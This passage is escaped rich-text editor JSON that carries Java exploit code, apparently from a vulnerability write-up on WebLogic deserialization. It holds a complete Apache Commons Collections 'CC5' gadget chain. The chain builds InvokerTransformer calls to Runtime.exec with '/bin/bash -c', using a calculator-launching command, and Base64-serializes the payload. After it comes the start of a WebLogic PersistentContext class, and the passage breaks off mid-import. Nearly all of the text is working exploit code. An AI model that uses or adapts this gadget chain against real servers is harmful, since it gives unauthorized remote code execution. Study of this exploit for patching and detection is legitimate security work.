POC.getObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;58Hw-1682254539750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5VZX-1682254539749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MwEZ-1682254539752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EAzb-1682254539751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;930y-1682254539754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IIuF-1682254539753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(pc);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L7YT-1682254539756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHJb-1682254539755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;twL3-1682254539758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qBek-1682254539757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NfJ5-1682254539783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xGKg-1682254539782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VwYT-1682254539785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yDVV-1682254539784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NOoL-1682254539787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PjUp-1682254539786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Srok-1682254539789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UKJk-1682254539788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//cc5 poc&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kpyl-1682254539791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Eaii-1682254539790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kGT5-1682254539793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8x9L-1682254539792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.Transformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0O6-1682254539795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yGMq-1682254539794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.ChainedTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;alKR-1682254539797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WpfP-1682254539796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.ConstantTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0upw-1682254539799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dIqu-1682254539798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.InvokerTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oOX7-1682254539801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZGn-1682254539800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.keyvalue.TiedMapEntry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BkLL-1682254539803&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1pmq-1682254539802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.map.LazyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GsxH-1682254539805&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qrXW-1682254539804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u19d-1682254539807&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5BtN-1682254539806&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.BadAttributeValueExpException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6bBJ-1682254539809&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HJos-1682254539808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N3Ak-1682254539811&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Nwm-1682254539810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LdPg-1682254539813&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R3xw-1682254539812&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xhfU-1682254539815&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YwI3-1682254539814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZzyC-1682254539817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XoZM-1682254539816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class POC {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fr13-1682254539819&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8ZG-1682254539818&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getObject() throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8E3C-1682254539821&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bzBJ-1682254539820&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BRqX-1682254539823&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FxcS-1682254539822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String enableUnsafeSerialization = System.getProperty(\&#34;org.apache.commons.collections.enableUnsafeSerialization\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jbbv-1682254539825&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wa9c-1682254539824&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.setProperty(\&#34;org.apache.commons.collections.enableUnsafeSerialization\&#34;, \&#34;true\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XKVC-1682254539827&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KREm-1682254539826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        String cmd = \&#34;touch /tmp/success123\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zlMD-1682254539829&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;50T3-1682254539828&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String cmd = \&#34;open -a Calculator.app\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ENXo-1682254539831&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0YKE-1682254539830&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Transformer[] tarray = new Transformer[]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lSGJ-1682254539833&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pbHy-1682254539832&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dAhu-1682254539835&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Silx-1682254539834&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new ConstantTransformer(Runtime.class),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eS7l-1682254539837&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dLA-1682254539836&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;getMethod\&#34;, new Class[]{String.class, Class[].class}, new Object[]{\&#34;getRuntime\&#34;, new Class[0]}),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WsSH-1682254539839&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uxCl-1682254539838&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;invoke\&#34;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ifWt-1682254539841&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0eX-1682254539840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;exec\&#34;, new Class[]{String[].class}, new Object[]{new String[]{\&#34;/bin/bash\&#34;, \&#34;-c\&#34;, cmd}})&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l0u5-1682254539843&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBIL-1682254539842&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                };&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f8BO-1682254539846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1bPd-1682254539844&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Transformer chainedTransformer = new ChainedTransformer(tarray);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sf6V-1682254539848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L5ST-1682254539847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3sb4-1682254539850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N9Tu-1682254539849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, \&#34;a\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Evz6-1682254539852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dR2M-1682254539851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;he2i-1682254539854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1CC-1682254539853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        setValue(badAttributeValueExpException, \&#34;val\&#34;, tiedMapEntry);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rW6W-1682254539856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;636s-1682254539855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return badAttributeValueExpException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0CQZ-1682254539858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTc6-1682254539857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NJyT-1682254539860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Ecc-1682254539859&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WOZT-1682254539862&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JtFo-1682254539861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fkQR-1682254539864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;djUF-1682254539863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yron-1682254539866&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJVv-1682254539865&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void setValue(Object obj, String name, Object value) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p0C5-1682254539868&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MaNB-1682254539867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field field = obj.getClass().getDeclaredField(name);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;alLG-1682254539870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0pu3-1682254539869&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        field.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QrNz-1682254539872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBdy-1682254539871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        field.set(obj, value);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U07q-1682254539874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6Bh-1682254539873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1Gs-1682254539876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a7kk-1682254539875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YIHB-1682254539878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cUzM-1682254539877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZOJ4-1682254539880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SfUM-1682254539879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DNvj-1682254539882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Rc4-1682254539881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//PersistentContext&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cwHz-1682254539884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Fde-1682254539883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.wsee.jaxws.persistence;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FRUV-1682254539886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccFV-1682254539885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oyGh-1682254539888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jmjV-1682254539887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.istack.NotNull;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SOcr-1682254539890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Roq2-1682254539889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.istack.Nullable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gIm6-1682254539892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2jiV-1682254539891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayInputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8ssO-1682254539894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ijZr-1682254539893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c5NX-1682254539896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j0rm-1682254539895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kBGm-1682254539898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KaCM-1682254539897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectInputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQLy-1682254539900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BB2A-1682254539899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q46s-1682254539902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CEHG-1682254539901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.Serializable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zvVE-1682254539904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ykfS-1682254539903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.security.AccessController;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SH2u-1682254539906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xiAk-1682254539905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;reSd-1682254539908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJdQ-1682254539907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Set;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F0XX-1682254539910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SJ3l-1682254539909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import 